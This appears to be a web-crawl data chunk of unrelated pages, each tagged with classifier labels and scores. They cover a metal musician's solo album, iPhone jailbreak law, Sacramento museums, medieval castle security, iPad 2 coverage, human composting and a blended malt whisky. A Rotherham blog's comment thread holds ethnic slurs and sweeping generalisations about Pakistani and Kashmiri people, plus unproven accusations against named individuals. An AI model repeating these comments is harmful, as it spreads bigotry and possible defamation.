specific genre. This is my first solo venture in nearly 30 years as a musician, and even if I know that this style of music might not fit every metal fan, I think and hope that people will find it an interesting listen.” Musically speaking, the Mitochondrial Sun album is largely instrumental and features everything from Dead can dance-like tribal atmospheres to futuristic sci-fi soundscapes. Among the guest musicians appearing are Dark Tranquillity’s Martin Brändström and renowned cello player Annika Blomfeldt. The album was mixed and mastered by Anders Lagerfors (who also contributed grand piano to some tracks) at Nacksving Studio in Gothenburg, Sweden. The album is based around evolution and the passing of time. Juxtaposing electronic and decidedly synthetic elements with organic sound textures and the presence of real cello and grand piano, Mitochondrial Sun is an exploration of contrasts. Lush and cinematic passages collide with harsh distortion and massive futuristic soundscapes. Some songs have a traditional feel, invoking ghosts and patterns from our distant past, some are urban and desolate and some glance outward towards a future among the stars. In addition to being a musician, Niklas is also a prolific graphic designer. This visual emphasis is transfered over to to the Mitochondrial Sun project, where each song will be accompanied by an animated video further enhancing the experience and providing context. The first single and video, “Nyaga” – whose title is inspired by a little known sci-fi novel by the Swedish astronomer and writer Peter Nilsson – will be revealed in full in October, but you can already dive into a first teaser of the track HERE! Additional singles will be released before the full length album arrives in early 2020. Featuring ten songs with lots of stylistic differences, Mitochondrial Sun’s debut album is by no means an easy listen, or one designed for instant gratification – but the patient listener will be rewarded! www.mitochondrialsun.com www.argonautarecords.com ARGONAUTA RECORDSDark Tranquillity'sNIKLAS SUNDINsigns worldwide deal with Nashville’s BRANDON GIBBS releases his new single ‘Rain Whiskey’, out now on Golden Robot Records Aussie rockers THE DEAD AMIGOS release their sublime new single ‘HOLD OUT Swedish Stoner Rockers HUANASTONE Sign With Argonauta Records + Premiere Brand New Song! DARK TRANQUILITY’s Niklas Sundin Shares Brand New Video From Upcoming Solo-Project MITOCHONDRIAL SUN LARES Inks Worldwide Deal With Argonauta Records! Dvne signs worldwide deal with Metal Blade Records Black Metal, Rising Overlords LACASTA, Sign Worldwide Deal with Argonauta Records! NIKLAS SUNDIN Of DARK TRANQUILITY Debuts First Single From Upcoming Solo-Project, MITOCHONDRIAL SUN! Sludge rockers RED STONE CHAPEL reveal album details! Angel Witch signs worldwide deal with Metal Blade Records; announces extremely limited cassette Atmospheric post-metal heavyweights LAMBS‡ sign worldwide deal with Argonauta Records! ANCIENT VVISDOM sharing first details about upcoming album Mundus! Sludge rockers HIGH FIGHTER release brand new single Dead Gift! Sludge rockers STONED MONKEY ink worldwide deal with ARGONAUTA RECORDS! SLOW ORDER premiere brand new music video! Eternal Fire coming this Friday, June 14th on Argonauta Records! Stoner rock funkers BBF sign worldwide deal with Argonauta Records!	cc/2020-05/en_middle_0032.json.gz/line8179
__label__cc	0.70025	0.29975	Apple/iPhone/iOS The Device Forum iPhone 5S Specs leak, per BGR I thought you might be interested in looking at iPhone 5S Specs leak, per BGR. https://s4gru.com/forums/topic/4269-iphone-5s-specs-leak-per-bgr/ iPhone XS Thread By MacinJosh iPhone XS and XS Max are Apple's newest flagship phones, and the successors to Apple's 2017 iPhone X. They have the new A12 Bionic chip, improved cameras and faster FaceID, and come in a beautiful Gold Stainless Steel finish in addition to the Silver & Space Gray options. They are available in the same 5.8" Super Retina display as with the X, and the bigger 6.5" Super Retina. They are available in 64GB, 256GB, and 512GB configurations. Apple added Dual SIM technology to the 2018 iPhone's, with one physical SIM, and one eSIM. (eSIM feature not currently supported by Sprint, but is said to be coming later). These phones also feature IP68 water-resistance (iPhone X was IP67) which gives you protection in water for up to 30 minutes in up to 2m of water. Will it soon be a crime to Root, Jailbreak or MOD your personal devices? By S4GRU by Scott Johnson Sprint 4G Rollout Updates Thursday, January 26, 2012 - 12:01 AM MST Many of us enjoy the freedom that rooting or jailbreaking our phones gives. Adding custom ROMs, removing “bloatware” or Carrier IQ, and adding additional controls are just the start. We knowingly take the risk that that we may turn our phone into a brick, and our warranty will likely not cover repair or replacement. But will we knowingly commit a criminal act to unlock our phones? Apple has claimed that jailbreaking the iPhone was in conflict with copyright laws. Given the amount of time they spent locking down iOS, it’s no surprise they oppose it. In July 2010, the U.S. Copyright Office eventually decided that jailbreaking and rooting was not a violation of the Digital Millenium Copyright Act (DMCA), as long as it was not done with the intent of circumventing copyright. However, this decision was not permanent. If it is allowed to expire next month, jailbreaking and rooting could be considered breach of the DMCA. Development websites like XDA started out with the public perception that they were underground gatherings of hackers and pirates. Since the U.S. Copyright Office published the finding that jailbreaking and rooting was not illegal, those development websites have become widely popular and have largely changed the public's perception. Even Steve Kondik, aka “Cyanogen”, creator of the widely popular Android ROM CyanogenMod was hired by Samsung. Due to the liberties that millions of us enjoy about to be removed due to the sunseting DCMA, the Electronic Frontier Foundation has begun a campaign to keep our phones free. They are undertaking a campaign to convince the U.S. Copyright Office that we should have the right to unlock not only our smartphones, but our tablets and video game consoles. They have a petition that they will send to the U.S. Copyright Office, and they are asking for Concrete examples of legal uses of jailbreaking that “will help show the Copyright Office why they should renew and expand the exemptions for jailbreaking.” You can visit the EFF’s jailbreaking page here: https://www.eff.org/...ee-your-devices Photo courtesy of iphonefreakz.com Source: http://www.phonearen...l-again_id26246 Artificial scarcity and the iPhone empire Friday, February 3, 2012 - 2:00 PM MST The iPhone is something many people see as a status symbol. Many who have never owned one, long for their upgrade date so they can go out and buy the "exclusive" iPhone that they have been denied access to for years. Even some who had the iPhone, and then switched carriers, long to repurchase another. Yes, the iPhone is a well made smartphone with access to a loaded app store, and has many desirable features. But is it really better than Windows Phone, Blackberry or Android models? When Apple entered into a contract with AT&T, they remanufactured the RAZR craze and how the artificial scarcity of the device created such huge demand. The RAZR was a good device, and you may argue it was well ahead of other phones at the time of its release, but the other manufacturers caught up quickly. Apple used a similar strategy and it has paid off immensely. The iPhone is now available on the top 3 carriers in the U.S., but is still seen as a status symbol in many circles. As if only a few people have access to it. One could make a strong argument that the Samsung Galaxy SII is a superior smartphone, but still many customers line up to get the iPhone instead, because their inner hoarder says they NEED it, and the products perceived coolness and limited availability only add to the whole experience. The concept of artificial scarcity is simple. You take a product that is plentifully available to manufacture in mass, but limit distribution to a limited time, limited area, or in the case of the iPhone, limited retail outlets. The strategy has worked perfect for Disney. Why let your movies make the gradual descent to the $3.99 Wal-Mart bargain bin? Just keep "taking them out of the vault" and offering them at full price for a few months every couple years and people pull their credit cards out to pay $17.99 for an 85 year old movie and thank Disney for "allowing" them the opportunity to purchase Snow White. Oh, and you get to be a part of a limited privileged club. Another notable example is McDonald's McRib. If it was on the menu full time, many people either wouldn't bother going to McDonalds or would order something else, but artificial scarcity commands us to rush in to McDonalds and get several McRibs at a time because we won't have another chance at it for another year. What do we end up with, besides a belly ache and a reason why we don't normally eat at McDonalds? We should be immune to this form of advertising by now, as we are constantly inundated with limited time availability and special edition products all around us. However it is still alive and well here on Planet Earth, because it still works. Big time. Can Apple keep the air of exclusivity over its iPhone as it continues to broaden its distribution? Or will smartphone buyers move on to other devices? Only time will tell. But many doubt that Apple will play its hand as well in an era post Steve Jobs. Photos Courtesy of iPhone5rumor.net ipad 9.7 inch 2017 edition thread By danlodish345 hello i am here to start a htread for the ipad 9.7 inch 2017 edition	cc/2020-05/en_middle_0032.json.gz/line8186
__label__wiki	0.785523	0.785523	Best Sacramento Museums Filed Under:Aerospace Museum of California, California Automobile Museum, California State Capitol Museum, California State Indian Museum, California State Military Museum, California State Railroad Museum, Crocker Art Museum, Discovery Museum Science & Space Center, Explorit Science Center, Governor's Mansion State Historic Park, Old Sacramento State Historic Park, Sojourner Truth Multicultural Art Museum, Sutter's Fort State Historic Park, The California Museum Are you an art lover? Looking to learn a little about California history? Or a place to take the kids that is both fun and educational? You can learn about Sacramento’s Gold Rush past. Get an up close look at trains, planes and automobiles through the years. Sacramento’s role as the state capitol gives visitors an exciting chance to see the political past and politics in action. So take your pick, you won’t be disappointed in the best museums the Capital City has to offer. Aerospace Museum of California (credit: aerospacemuseumofcalifornia.org) 3200 Freedom Park Drive aerospacemuseumofcalifornia.org Imagination takes flight at this museum on the grounds of the former McClellan Air Force Base. Visitors can get a close up look at both restored military and civilian aircraft as well as touring exhibits (like Star Trek: The Exhibition). With the museum’s motion ride simulator, you can strap in and feel what it’s like to fly a World War II-era fighter jet. California Automobile Museum (credit: calautomuseum.org) www.calautomuseum.org From an 1885 bicycle to a 2003 Mercedes Benz CHP motorcycle, take a look at the evolution of automobiles. The museum features more than 200 vehicles on permanent display. There are also touring exhibits like Lowriders: The Art of Low and Slow and Automobilia! featuring Italian cars. The California Museum (credit: californiamuseum.org) 1020 O Street www.californiamuseum.org The museum is described as “the one stop shop for all things Californian”. This museum houses the California Hall of Fame showcasing Californians who have made on impact on the world through their leadership, talent, ideas and works. Where else can you learn about such a wide variety of people as Walt Disney, Billie Jean King, Earl Warren, John Steinbeck, and Willie Mays in one place? The museum also houses exhibits like the Constitutional Wall. (credit: csrmf.org) 125 I Street www.californiastaterailroadmuseum.org All aboard!! Visitors are sure to have fun here checking out trains from big and small to old and new. You can step on board a moving train car to see what it feels like to travel the rails. From old steam engines to luxury personal train cars of the rich, you can see how the railroad helped shape California. There is also a collection of more than 1,000 vintage toy trains. (credit: crockerartmuseum.org) 216 O Street Downtown Sacramento www.crockerartmuseum.org The Crocker was the first art museum in the western United States. It was established by railroad baron Edwin Crocker’s wife Margaret Crocker in 1885. The museum houses a collection of California art as well as works from Europe, Asia and more. It recently tripled in size when it reopened following an extensive renovation in October of 2010. (credit: thediscovery.org) Discovery Museum Science & Space Center 3615 Auburn Boulevard www.thediscovery.org Kids can rocket into space or dig into fossils at this hands-on museum. The Challenger Learning Center lets kids launch a shuttle while the Bone Zone brings them up close and personal with skeletons, skulls and fossils. The center also has live animals, nature trails, a wildlife pond and a public planetarium. Old Sacramento State Historic Park (credit: oldsacramento.com) www.oldsacramento.com Walk the cobblestone streets of Old Sacramento for a journey to the city’s Gold Rush beginnings. Check out some of the sites including the BF Hastings Building, old hardware stores and more. Old Sacramento is also the western end of the Pony Express. Visitors will also find The Old Sacramento Schoolhouse Museum, a replica of an 1800’s one-room school house. For more information, go to http://www.scoe.net/oldsacschoolhouse. Sutter’s Fort State Historic Park (credit: parks.ca.gov) www.parks.ca.gov/suttersfort Sutter’s Fort is part of Sacramento’s earliest settlement. Visitors can see what it was like to live in 1839 with the fort’s blacksmith shop, bakery, and more. Sojourner Truth Multicultural Art Museum (credit: sojoarts.net) 2251 Florin Road www.sojoarts.net The museum, named for abolitionist and women’s rights activist Sojourner Truth, is dedicated to bringing African, Asian, Hispanic and Native American art to the general public. (credit: statecapitolmuseum.com) 10th & L Streets www.capitolmuseum.ca.gov The State Capitol is both a museum and a working building. Visitors can take a look at California’s political history as well as see history in the making. The Capitol has its own art collection including portraits of the governors. www.parks.ca.gov/indianmuseum The rich history, culture and arts of California’s first inhabitants can be viewed at the museum. There are even hands-on exhibits that let you try out some traditional Native American tools. Governor’s Mansion State Historic Park 16th and H Streets www.parks.ca.gov/governorsmansion Home to 13 California governors including Ronald Reagan, the mansion was built in 1877 and was used as a home to the state’s first families until 1967. California State Military Museum (credit: militarymuseum.org) www.militarymuseum.org The museum features three floors of weapons, uniforms and over 30,000 artifacts from California and U.S. military history from Colonial times to today. California Foundry History Museum (credit: foundryhistory.org) 5301 Price Avenue North Highlands, CA 95652 www.foundryhistory.org Foundries are where metal is cast into bells, pipes, fire hydrants and more. Take a look at how techniques have changed from the Gold Rush era to new using modern technology. (credit: wellsfargohistory.com) Wells Fargo History Museums Old Sacramento, CA 95814 www.wellsfargohistory.com Wells Fargo played a big part in California’s Gold Rush not only through buying and selling gold, but through stage coaches, and the Pony Express. (credit: explorit.org) Explorit Science Center www.explorit.org (credit: folsomhistorymuseum.org) Folsom History Museum 823 Sutter Street www.folsomhistorymuseum.org (credit: aghistory.org) Heidrick AG History Center 1962 Hays Lane www.aghistory.org Farm machinery from the late 1800’s through the 1900’s is displayed in 130,000 square feet in a “one-of-a-kind” museum of antique angricultural equipment and trucks.	cc/2020-05/en_middle_0032.json.gz/line8187
__label__wiki	0.612597	0.612597	Certified Locksmith Insured Locksmith Key Replacement Motorcycle Locksmith 4S Ranch Locksmith Carlsbad Locksmith Carmel Valley Locksmith Coronado Locksmith Chula Vista Locksmith El Cajon Locksmith Escondido Locksmith Del Mar Locksmith La Jolla Locksmith National City Locksmith Oceanside Locksmith Poway Locksmith Ramona Locksmith Rancho Bernardo Locksmith Rancho Penasquitos Locksmith Rancho Santa Fe Locksmith San Diego Locksmith How castles were secured in medieval times by Tyler Carty \| May 4, 2017 \| Home Security, Locksmith Are you a big fan of The Game of Thrones? The Game of Thrones is perhaps the most talked about TV show in recent times and it captures the brutality of life in the medieval era, when people could be killed or tortured at the drop of a hat. Those were a harsh time indeed. Have you wondered about the castles of the medieval era and how they were secured? Clearly, people in the medieval era, especially the landed aristocracy of that period, must have spent much of their time worrying about security. It was a matter of life and death for them. So, how were castles secured in medieval times? Yeah, you remember the scene from The Lord of the Rings – The Two Towers, when Lord Aragorn, Legolas and Gimli help the people of Rohan fight off an entire army of orcs trying to take over the castle. They do everything possible to secure the premises, such as firing arrows, pouring boiling oil from the top, and more to keep the orcs off. Fortunately, the castle was strong and our heroes were able to somehow hold off the siege from the Orc army, thanks to the strong front gate of the castle and the powerful locking system that held it in place, despite the battering it received from the Orcs. Castles of those days had several layers of defense. The most important was the front gate. The front gate was the main entrance to the castle, which remained open during peace time, but was closed whenever the castle came under attack. The front gate was actually a glaring security loophole. It was very difficult for the defenders to hold it in place when the attackers used all sorts of mechanisms such as battering rams to beat it down. So the architects that designed the castles built a moat around the structure, a drawbridge and a portcullis. Most castles had two portcullises which were meant to trap attackers from both sides, as arrows were fired through the slits in the floor, called as murder holes. The curtain wall was another mechanism used in those days to ward off attackers. It was a large stone wall built outside the castle, which covered everything behind it. These walls were about 2 meters thick and about 10 feet tall. They were strong, powerful and capable of taking any punishment. The moats around the castle were important as well. They let off a real stink and filled up with all the waste water that came from the castle; they were disgusting to say the least. Some of the moats even had sharpened stake underneath the water. Imagine the plight of the attacker who fell into them! The moats were constructed around the curtain walls and they kept the attacker off, while giving enough time for the defenders to regroup. It was during the medieval era that locksmiths really came to the fore. They were taken as serious professionals and put to work to secure the castles and homes of those times. Locksmiths of those days were expert lock makers. All locks were handcrafted by skilled locksmiths. Hiring a good locksmith literally made the difference between life and death for folks back in those days. Prestige Locksmith info@sandiegocitylocksmith.com 3342 Kettner Bivd San Diego, CA 92101 Map Sunday 12:00 am–12:00 am Monday 12:00 am–12:00 am Tuesday 12:00 am–12:00 am Wednesday 12:00 am–12:00 am Thursday 12:00 am–12:00 am Friday 12:00 am–12:00 am Saturday 12:00 am–12:00 am	cc/2020-05/en_middle_0032.json.gz/line8190
__label__wiki	0.55279	0.55279	EDITOR’S COMMENT: Muslim group’s fleeting ‘boycott’ has done untold damage to Rotherham Posted on October 28, 2015 by Rik IT’S a good job the miners of 1984 weren’t led by Muhbeen Hussain, otherwise the strike would have been over in a heartbeat. Mr Hussain is the founder and chairman of British Muslim Youth, the organisation which issued what I can only describe as an incendiary declaration to shut out South Yorkshire Police. Read on…. http://www.thestar.co.uk/what-s-on/editor-s-comment-muslim-group-s-fleeting-boycott-has-done-untold-damage-to-rotherham-1-7541010 This entry was posted in Abuse of power, Biraderi, Child Protection, Child Sexual Abuse, Information and tagged BMY, British Muslim Youth, Muhbeen Hussain, RMBC, Rotherham Metropolitan Borough Council, Vakas Hussain by Rik. Bookmark the permalink. 18 thoughts on “EDITOR’S COMMENT: Muslim group’s fleeting ‘boycott’ has done untold damage to Rotherham” Anonymous on October 28, 2015 at 10:01 pm said: Wow as the Star finally got a backbone, has it finally realise what Muhbeen Hussian is all about. Let me get this striaght. Asian Paedophile rapists, perverse gang of depraved Asian men. Is this paper truly performing a public function of informing its readership with the truth. Not quite, it was depraved Pakistani paedophiles not Asians. poetmorgan on October 29, 2015 at 9:58 am said: Good point. I have heard of no Japanese, Siberian, Mongolian, Chinese, Burmese, Thai, Vietnamese, Korean, Cambodian, Laotian, Tibetan, Nepalese etc., implicated thus far. Just those of Pakistani origin. Asia is a big place but it seems this curse does not have a point of origin quite that big. I know journalism can be imprecise with urgent copy deadlines to be met but this is a bit of a basic inaccuracy. Anonymous on October 29, 2015 at 10:18 am said: Mr Hussian and his cronies have achieved what they set out to do, that is for a community of less than 3% and one that has committed such unbelievable cruelty, againist the children of the other 97%, to once again deflect the causes of the present tensions, which have been deliberately overblown, from the root cause of these problems, the Pakistani community complicit and continue breaking of the law by committing CSE. And once again, the dimwits of the Police, Police Commissioner, Council, the press and the ever amenable bimbo of a MP , Sarah Champion, have fell for it, hook line and sinker. If these ,people have truly read the Jay & Casey reports, it clearly states that a small, highly manliputive, unrepresentative group of people, within this Pakistani community, would subvert anything they thought, would tarnish their race. They have never admitted that there was a problem or attempted to solve it or will they ever confront this disease within their community. If Mr Hussian or any other Pakistani groups, associated with this boycott are recieving any form of Public funding , it should be immediately removed and any co operation with these group curtail. It is not the majority that should conform , it is this minority. Secret pakistani on November 2, 2015 at 1:29 pm said: Depraved kashmiris! Not pakistanis! Rotherham’ community is influenced by the jatt clan of mirpur. The bunch of inbreeds. Joanna Stone on November 2, 2015 at 2:49 pm said: yes that is very true the class distinction has not been left in Pakistan the Rajas will be in the background though not all the Jatts are inbred but they have much influence on our council asif on December 18, 2015 at 12:40 am said: Whats the demoghraphic breakdown of rotherhams pakistanis,Are there any pathans or punjabis in rotherham.And do all the mirpuris in rotherham belong to jatt clan or are there any who are bains rajput. Anonwhymous on October 29, 2015 at 9:54 am said: Wow. Credit to the editor and Muhbeen needs to fire his PR officer who just happens to be his brother because that interview with the editor of the Star would have been a good PR move to get everything out in the open but he was fearful of being challenged of some of the claims in his original statement from BMY. I bet he regrets the boycott purely because the timing – new arrests in CSE yesterday and I imagine that’s played a part in “negotiations”. Negotiations but meetings which should have happened behind closed doors to try and formalise it and go to the press as a last resort but now, many Muslims (like me and others) who have nothing to do with them, will be smeared with “Oh, you don’t want to engage with the cops!” I very much doubt these steps agreed will lead to anything fruitful. fiferalfa on October 29, 2015 at 2:37 pm said: When are we going to hear from the three amigos champion healy and barron about this kind of rhetoric, if I choose to make a statement like this it would be considered racist. And where is Lord Ahmed when all this is going on or Akhtar have they left the country like the imam who allegedly abused children and seems to have fled the country, enough is enough they either live by our laws and way of life or put up and shut up Joanna Stone on October 29, 2015 at 4:53 pm said: you need to wait for the court cases to be held ,Lord Ahmed will be in London Muhbeen making waves in Doncaster and Akhtar letting his relation keep claiming expenses while under the guise of the saviour of Rotherham there are many guilty people walking the streets feeling very smug and safe at the moment but they may own the council and the media they don’t own free speech in the courts Anon on October 29, 2015 at 8:01 pm said: Rotherham Muslim Community Alliance according to the local weekly have also called off their boycott of the police, anyone know who these individuals are? They say that the boycott was a cry for help from the Muslim community, more like a smoke screen to try and hide the start of some very bad news stories about how criminals from within the Rotherham Pakistani community are alleged to have conducted themselves. An interesting question, are members of British Muslim Youth and Rotherham Muslim Community Alliance related to any of the previously convicted Pakistani child abusers or the seven accused who are about to face trial regarding allegations of historical child abuse? Maybe in the interest of community cohesion they would like to tell us. Joanna Stone on October 29, 2015 at 10:22 pm said: maybe related to ones that have neither been charged or come to trial but are guilty and are so far up the food chain that they are being protected Anonwhymous on October 30, 2015 at 4:21 pm said: muhbeen and family have a link to the bostans who have charged recently… muhbeen was quiet when those arrests were announced… Using the man on the Clapham Omnibus test to this saga you would conclude that British Muslim Youth supported by the Labour MP for Rotherham and the Labour Police and Crime Commissioner have succeeded in neutralising South Yorkshire Police attempts to bring the 19 thugs to justice and now having to treat child abusers from within the Pakistani community with kid gloves. You can rely on one thing the Labour Party will always be on the side of those who can deliver the block community vote no matter what it takes even if it means leaving vulnerable white children to the mercy of their abusers. John Smith on October 31, 2015 at 5:25 pm said: So why does Rotherham keep voting them back in Are they also complicit? Joanna Stone on October 30, 2015 at 8:43 am said: I firmly believe this was a deliberate tactic to stop certain Buisness persons and councillors being named this will strengthen their call for a media blackout when it comes to them being investigated and brought to justice when the light was being turned towards certain councillors they managed to divert attention to a cpl of white women this resulted on all outrage being channelled in that direction then when they were asked to give names up of the rioters and a few landlords sons were being charged they diverted the attention to the police boycott its about time the public realised that the media is being manipulated and that the media grew a pair of balls forgot about the race card and did some old fashioned investigative reporting Sickofthem on October 31, 2015 at 12:00 pm said: I must commend Muhbeen and those other clowns, masquerading as the voice of the beleaguered Muslim community. Funny how they lump all Muslims together for the crimes of the Pakistani’s. So doubt the same rapists are trying to pretend that this is a wider cultural problem too. The only thing they have done is remind people of their guilt. I was unaware, that these scrum were targeting the girls in schools, by using the younger Pakistani boys to befriend them. They should be watched and the intelligence passed to the Police. fiferalfa on November 2, 2015 at 10:34 pm said: we should not be forgetting the councillors who still sit on the council who are still in denial that anything ever happened and is still happening, Alan Billings is very quiet about all of it and as for waiting for the trials to place the british muslim youth say their piece making it look like they were made scapegoats no answer from the police or council in return only as has been pointed out that it will be looked into. This council still has much to answer for Fiferalfa on December 18, 2015 at 12:12 pm said: Let’s forget all this tribal business you seem to forget where you live and what law you should follow we in the UK are from all over the UK but we have to live together as you should Leave a Reply to Anonwhymous Cancel reply	cc/2020-05/en_middle_0032.json.gz/line8192
__label__wiki	0.57925	0.57925	Special: iPad Event Coverage by Eric Schwarz on March 2, 2011 Today Apple introduced the iPad 2, at a special event in San Francisco. Along with the new iPad, which is not only thinner and lighter, but quite a bit more powerful, we got to see a rather healthy-looking Steve Jobs, iOS 4.3, and Garageband & iMovie for the iPad. After months of speculation, the iPad 2 was introduced, slated to go on sale March 11, the same day iOS 4.3 ships. What better to sum up the improvements and changes than straight from Apple’s press release: Apple today introduced iPad 2, the next generation of its magical device for browsing the web, reading and sending email, enjoying photos, watching videos, listening to music, playing games, reading ebooks and much more. iPad 2 features an entirely new design that is 33 percent thinner and up to 15 percent lighter than the original iPad, while maintaining the same stunning 9.7-inch LED-backlit LCD screen. iPad 2 features Apple’s new dual-core A5 processor for blazing fast performance and stunning graphics and now includes two cameras, a front-facing VGA camera for FaceTime and Photo Booth, and a rear-facing camera that captures 720p HD video, bringing the innovative FaceTime feature to iPad users for the first time. Though it is thinner, lighter, faster and packed with new features, iPad 2 still delivers up to 10 hours of battery life* that users have come to expect. iPad 2 is available in black or white, features models that run on AT&T’s and Verizon’s 3G networks, and introduces the innovative iPad 2 Smart Cover in a range of vibrant polyurethane and rich leather colors. “With more than 15 million iPads sold, iPad has defined an entirely new category of mobile devices,” said Steve Jobs, Apple’s CEO. “While others have been scrambling to copy the first generation iPad, we’re launching iPad 2, which moves the bar far ahead of the competition and will likely cause them to go back to the drawing boards yet again.” With the new front and rear cameras, iPad 2 users can now make FaceTime calls to millions of iPhone 4, iPod touch and Mac users so they can see family and friends anywhere there is Wi-Fi. Photo Booth lets you apply fun visual effects, including eight photo special effects like Squeeze, Twirl and Kaleidoscope, to photos captured by either camera. …Additional iPad 2 features include a built-in gyro for advanced gaming; HSUPA support for enhanced 3G upload speeds on iPad 2 Wi-Fi + 3G on AT&T, and HDMI Video Mirroring that lets users mirror their iPad screen on an HDTV using an optional adaptor. iPad 2 with Wi-Fi will be available on March 11 for a suggested retail price of $499 (US) for the 16GB model, $599 (US) for the 32GB model, $699 (US) for the 64GB model. iPad 2 Wi-Fi + 3G will be available for a suggested retail price of $629 (US) for the 16GB model, $729 (US) for the 32GB model and $829 (US) for the 64GB model. iPad 2 Wi-Fi + 3G compatible with the Verizon network will be available in the US only for a suggested retail price of $629 (US) for the 16GB model, $729 (US) for the 32GB model and $829 (US) for the 64GB model. iPad Smart Covers The iPad 2 also received some rather cool covers for the screen, held on by magnets: The innovative new iPad 2 Smart Cover provides protection for the iPad screen while maintaining its thin and lightweight profile. Designed with a unique self-aligning magnetic hinge that makes it easy to attach and remove, the new iPad 2 Smart Cover automatically wakes iPad 2 when it’s opened and puts it to sleep when it’s closed, and has a soft microfiber lining to help keep the screen clean. The Smart Cover also folds into a stand for typing or viewing videos and is available in vibrant polyurethane for $39 or rich leather for $69 in a range of colors, including a (PRODUCT) RED one which helps support the Global Fund to fight HIV/AIDS in Africa. Apple also previewed iOS 4.3, which is due on the 11th, as well: iPad 2 comes with iOS 4.3, the latest version of the world’s most advanced mobile operating system, with new features including faster Safari mobile browsing performance; iTunes Home Sharing; enhancements to AirPlay; the choice to use the iPad side switch to either lock the screen rotation or mute audio; and Personal Hotspot to share an iPhone 4 cellular data connection over Wi-Fi. GarageBand / iMovie Finally, GarageBand and iMovie both have found their way to the iPad, for $5 each: …With iMovie, iPad 2 users can shoot and edit videos right on their iPad and post their movies to YouTube, Facebook, Vimeo and their MobileMe℠ gallery; watch them on their iPod, iPhone or iPad; as well as view them on their HDTV using AirPlay and Apple TV. GarageBand turns your iPad into a collection of touch instruments and 8-track recording studio, allowing you to perform with onscreen keyboards, guitars, drums and basses using multi-touch gestures–even if you don’t play a musical instrument. GarageBand runs on an iPad 2 only, while iMovie runs on an iPad 2, iPhone 4, or iPod touch 4. What is surprising of the iMovie requirement is that the first-generation iPad has a lot in common with the iPod touch 4, yet is not included. This post has been filed in News and Special Coverage	cc/2020-05/en_middle_0032.json.gz/line8196
__label__wiki	0.959703	0.959703	Science Metro Your Daily Science Source Washington just passed a bill to become the first US state to legalise human composting It may soon be legal for the dead to push daisies, or any other flower, in backyard gardens across Washington state. The state legislature recently passed a bill that, if signed by the governor, allows human bodies to be composted – and used for mulch. As the nation ages, US funeral practices are changing. Rates of cremation surpassed 50 percent in 2016, overtaking burials as the most popular choice. The Census Bureau, in a 2017 report, predicted a death boom: 1 million more Americans are projected to die in 2037 than they did in 2015. Human composting, its supporters say, is an eco-friendly option that can meet this growing demand. A Seattle-based company called Recompose plans to offer a service called “natural organic reduction” (it has two patents pending) that uses microbes to transform the departed – skin, bones and all. “We have this one universal human experience, of death, and technology has not changed what we do in any meaningful way,” said state Senator Jamie Pedersen (D), who introduced the bill, which passed with bipartisan support on April 19. “There are significant environmental problems” with burying and burning bodies, he said. Joshua Trey Barnett, an expert on ecological communication at the University of Minnesota at Duluth, listed the flaws in conventional burials: “We embalm bodies with toxic solutions, bury them in expensive caskets made of precious woods and metals and then indefinitely commit them to a plot of land.” Though incineration has a smaller ecological footprint, estimates suggest the average cremated body emits roughly 40 pounds of carbon and requires nearly 30 gallons of fuel to burn. The bill awaits Governor Jay Inslee (D), who placed climate change at the center of the presidential bid he announced in March. “The bill passed the legislature with bipartisan support and appears to be eco-friendly,” said Tara Lee, a spokeswoman in Inslee’s office. Inslee has 20 days to review the bill, which arrived on his desk Thursday. “He has not stated how he will act on this,” Lee said. Burial practices are largely matters of state, not federal, law. The bill, which would take effect on May 1, 2020, also would legalize alkaline hydrolysis. That method turns bodies to liquid using a base such as lye. In the past decade, more than a dozen states have approved it. Pedersen said he would be “shocked, frankly,” if the governor did not sign the bill into law. Recompose founder Katrina Spade met Pedersen in a Seattle coffee shop last year and pitched the idea of legalizing human composting. The company’s system, she said, is a souped-up version of natural microbial decomposition. “It is actually the same process happening on the forest floor as leaf litter, chipmunks and tree branches decompose and turn into topsoil,” Spade said. The company’s service, which would include a funeral ceremony, will cost about US$5,500, she said (more than the average cremation but less than burial in a casket). Microbes go to work within a large vessel, about eight feet tall and four feet wide, that fits a single body along with alfalfa, straw and wood chips. Over the course of 30 days, as temperatures in the vessel rise to 150 degrees Fahrenheit (65 degrees Celsius), decomposition destroys the body, along with most pathogens and pharmaceuticals, Spade said. Pacemakers would be removed beforehand; artificial joints or other implants sifted out afterward. “We’re making about a cubic yard of soil per person,” Spade said. Families would be allowed to take the compost home, or, because it’s a lot of soil, donate it to conservation groups in the Puget Sound region. Restrictions on where the soil could be applied would mirror rules for scattering ashes – broadly speaking, only on land with an owner’s permission. The decomposition technique “is now a fairly common procedure” used to dispose of livestock carcasses, said Lynne Carpenter-Boggs, a soil scientist at Washington State University and an adviser to Recompose. During an outbreak of avian flu, Carpenter-Boggs helped farmers implement a similar method to destroy potentially infected poultry. Carpenter-Boggs recently oversaw a pilot study in which Recompose composted six donated cadavers. The results are still unpublished, but Recompose claimed in a news release the soil met safety thresholds set by the state’s ecology department. “The material we had, at the end, was really lovely,” Carpenter-Boggs said. “I’d be happy to have it in my yard.” Barnett said the media often inflates the “ick factor” of human composting. “Very few people I talk with have this response,” he said. He added: “If most folks knew the ins and outs of embalming, I suspect they would find it much ickier in fact than composting.” Spade said she has been deluged by emails from those who want to be composted, with particularly enthusiastic correspondents from California, Colorado and Vermont, and overseas from Brazil, the Netherlands and Australia. “I have a few friends at some of the assisted-living facilities here in Seattle,” Spade said, “and these folks are in their mid-80s saying: ‘Look, we want these options. … We care about the last gesture we leave on this earth.’ “ 2019 © The Washington Post This article was originally published by Sciencealert.com. Read the original article here. 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__label__wiki	0.622809	0.622809	Blended grain (5) Blended malt (71) Blended scotch (159) Single grain (25) Single malt (426) Unaged spirits (9) Whisky companies Blenders (171) Distillers (119) Independent bottlers (95) Bottle library Whiskypedia > Distilleries & brands > The Spice Tree Spice-led blended malt from Compass Box, which gets its flavour from three Highland whiskies. The Spice Tree Profile Highland Blended Malt Scotch Whisky Blended malt The Spice Tree was deemed to break the rules of Scotch whisky-making when it first launched. After a telling-off from the Scotch Whisky Association (SWA), producer Compass Box was instructed to amend its recipe to comply with the guidelines of making whisky. Today The Spice Tree is comprised of three Highland malt whiskies – from Clyneilsh, Dailuaine and Teaninich – which are matured in first-fill American oak casks before being vatted together. The vatting is then transferred to a series of ‘hybrid’ casks with varying toasts and heavily charred, new French oak heads for a period of two years. The process creates a rich and round blended malt with layers of spice, which is then bottled, without chill filtration, at 46% abv. The blended malt forms part of Compass Box’s Signature Range, which also includes Asyla, Oak Cross, Peat Monster and Hedonism. A limited edition offshoot – The Spice Tree Extravaganza – contains whiskies from the same distilleries that have been matured for longer using a greater 